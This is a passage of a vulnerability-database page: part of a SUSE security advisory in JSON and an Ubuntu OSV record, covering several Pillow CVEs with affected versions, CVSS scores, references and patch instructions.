            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59199"
    },
    {
      "cve": "CVE-2026-59200",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59200"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59200",
          "url": "https://www.suse.com/security/cve/CVE-2026-59200"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271422 for CVE-2026-59200",
          "url": "https://bugzilla.suse.com/1271422"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59200"
    },
    {
      "cve": "CVE-2026-59204",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59204"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59204",
          "url": "https://www.suse.com/security/cve/CVE-2026-59204"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271424 for CVE-2026-59204",
          "url": "https://bugzilla.suse.com/1271424"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59204"
    },
    {
      "cve": "CVE-2026-59205",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59205"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0027s declared output mode. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59205",
          "url": "https://www.suse.com/security/cve/CVE-2026-59205"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271425 for CVE-2026-59205",
          "url": "https://bugzilla.suse.com/1271425"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59205"
    }
  ]
}

ubuntu-cve-2026-59199

Vulnerability from osv_ubuntu

Published

2026-07-14 16:17

Modified

2026-07-14 16:17

Summary

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-59199	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-59199	REPORT
	https://github.com/python-pillow/Pillow/security/…	REPORT
	https://github.com/python-pillow/Pillow/pull/9703	REPORT
	https://github.com/python-pillow/Pillow/commit/ce…	REPORT
	https://github.com/python-pillow/Pillow/releases/…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-imaging",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-imaging-compat",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-imaging-sane",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-imaging-tk",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-pil",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-pil.imagetk",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python-sane",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-imaging",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-imaging-sane",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-imaging-tk",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-pil",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          },
          {
            "binary_name": "python3-sane",
            "binary_version": "2.3.0-1ubuntu3.4+esm5"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:14.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@2.3.0-1ubuntu3.4+esm5?arch=source\u0026distro=esm-infra-legacy/trusty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.2.1-1ubuntu2",
        "2.2.1-2ubuntu1",
        "2.2.1-3ubuntu2",
        "2.2.1-3ubuntu3",
        "2.2.1-3ubuntu4",
        "2.2.1-3ubuntu6",
        "2.3.0-1ubuntu1",
        "2.3.0-1ubuntu2",
        "2.3.0-1ubuntu3",
        "2.3.0-1ubuntu3.2",
        "2.3.0-1ubuntu3.3",
        "2.3.0-1ubuntu3.4",
        "2.3.0-1ubuntu3.4+esm1",
        "2.3.0-1ubuntu3.4+esm2",
        "2.3.0-1ubuntu3.4+esm3",
        "2.3.0-1ubuntu3.4+esm4",
        "2.3.0-1ubuntu3.4+esm5"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-imaging",
            "binary_version": "3.1.2-0ubuntu1.6+esm3"
          },
          {
            "binary_name": "python-pil",
            "binary_version": "3.1.2-0ubuntu1.6+esm3"
          },
          {
            "binary_name": "python-pil.imagetk",
            "binary_version": "3.1.2-0ubuntu1.6+esm3"
          },
          {
            "binary_name": "python3-pil",
            "binary_version": "3.1.2-0ubuntu1.6+esm3"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "3.1.2-0ubuntu1.6+esm3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@3.1.2-0ubuntu1.6+esm3?arch=source\u0026distro=esm-infra/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.9.0-1",
        "3.0.0-1",
        "3.0.0-1build1",
        "3.1.0-1",
        "3.1.1-1",
        "3.1.2-0ubuntu1",
        "3.1.2-0ubuntu1.1",
        "3.1.2-0ubuntu1.3",
        "3.1.2-0ubuntu1.4",
        "3.1.2-0ubuntu1.5",
        "3.1.2-0ubuntu1.6",
        "3.1.2-0ubuntu1.6+esm1",
        "3.1.2-0ubuntu1.6+esm2",
        "3.1.2-0ubuntu1.6+esm3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-pil",
            "binary_version": "5.1.0-1ubuntu0.8+esm2"
          },
          {
            "binary_name": "python-pil.imagetk",
            "binary_version": "5.1.0-1ubuntu0.8+esm2"
          },
          {
            "binary_name": "python3-pil",
            "binary_version": "5.1.0-1ubuntu0.8+esm2"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "5.1.0-1ubuntu0.8+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@5.1.0-1ubuntu0.8+esm2?arch=source\u0026distro=esm-infra/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.1-3build2",
        "4.3.0-2ubuntu1",
        "5.0.0-1",
        "5.1.0-1",
        "5.1.0-1ubuntu0.2",
        "5.1.0-1ubuntu0.3",
        "5.1.0-1ubuntu0.4",
        "5.1.0-1ubuntu0.5",
        "5.1.0-1ubuntu0.6",
        "5.1.0-1ubuntu0.7",
        "5.1.0-1ubuntu0.8",
        "5.1.0-1ubuntu0.8+esm1",
        "5.1.0-1ubuntu0.8+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-pil",
            "binary_version": "7.0.0-4ubuntu0.9"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "7.0.0-4ubuntu0.9"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@7.0.0-4ubuntu0.9?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.1.0-1",
        "6.1.0-1build1",
        "6.2.1-2",
        "7.0.0-4",
        "7.0.0-4build1",
        "7.0.0-4ubuntu0.1",
        "7.0.0-4ubuntu0.2",
        "7.0.0-4ubuntu0.3",
        "7.0.0-4ubuntu0.4",
        "7.0.0-4ubuntu0.5",
        "7.0.0-4ubuntu0.6",
        "7.0.0-4ubuntu0.7",
        "7.0.0-4ubuntu0.8",
        "7.0.0-4ubuntu0.9"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-pil",
            "binary_version": "6.2.1-3ubuntu0.1~esm2"
          },
          {
            "binary_name": "python-pil.imagetk",
            "binary_version": "6.2.1-3ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "pillow-python2",
        "purl": "pkg:deb/ubuntu/pillow-python2@6.2.1-3ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.2.1-3~build1",
        "6.2.1-3",
        "6.2.1-3ubuntu0.1~esm1",
        "6.2.1-3ubuntu0.1~esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-pil",
            "binary_version": "9.0.1-1ubuntu0.4"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "9.0.1-1ubuntu0.4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@9.0.1-1ubuntu0.4?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "8.1.2+dfsg-0.3",
        "9.0.0-1",
        "9.0.1-1",
        "9.0.1-1build1",
        "9.0.1-1ubuntu0.1",
        "9.0.1-1ubuntu0.2",
        "9.0.1-1ubuntu0.3",
        "9.0.1-1ubuntu0.4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-pil",
            "binary_version": "10.2.0-1ubuntu1.2"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "10.2.0-1ubuntu1.2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@10.2.0-1ubuntu1.2?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-1",
        "10.1.0-1",
        "10.2.0-1",
        "10.2.0-1build1",
        "10.2.0-1ubuntu1",
        "10.2.0-1ubuntu1.2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-pil",
            "binary_version": "12.1.1-2ubuntu1.2"
          },
          {
            "binary_name": "python3-pil.imagetk",
            "binary_version": "12.1.1-2ubuntu1.2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "pillow",
        "purl": "pkg:deb/ubuntu/pillow@12.1.1-2ubuntu1.2?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "11.3.0-1ubuntu1",
        "11.3.0-1ubuntu2",
        "12.0.0-1ubuntu1",
        "12.1.1-1ubuntu1",
        "12.1.1-2ubuntu1",
        "12.1.1-2ubuntu1.1",
        "12.1.1-2ubuntu1.2"
      ]
    }
  ],
  "aliases": [],
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.",
  "id": "UBUNTU-CVE-2026-59199",
  "modified": "2026-07-14T16:17:00Z",
  "published": "2026-07-14T16:17:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-59199"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-59199"
  ]
}

CVE-2026-59199 (GCVE-0-2026-59199)

Tags

Sightings

Nomenclature

Action not permitted

CVE-2026-59199 (GCVE-0-2026-59199)

bit-pillow-2026-59199

Vulnerability from bitnami_vulndb

FKIE_CVE-2026-59199

GHSA-6R8X-57C9-28J4

Summary

Details

PoC

Suggested fix

Impact

PYSEC-2026-3451

RHSA-2026:48933

SUSE-SU-2026:3084-1

ubuntu-cve-2026-59199

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature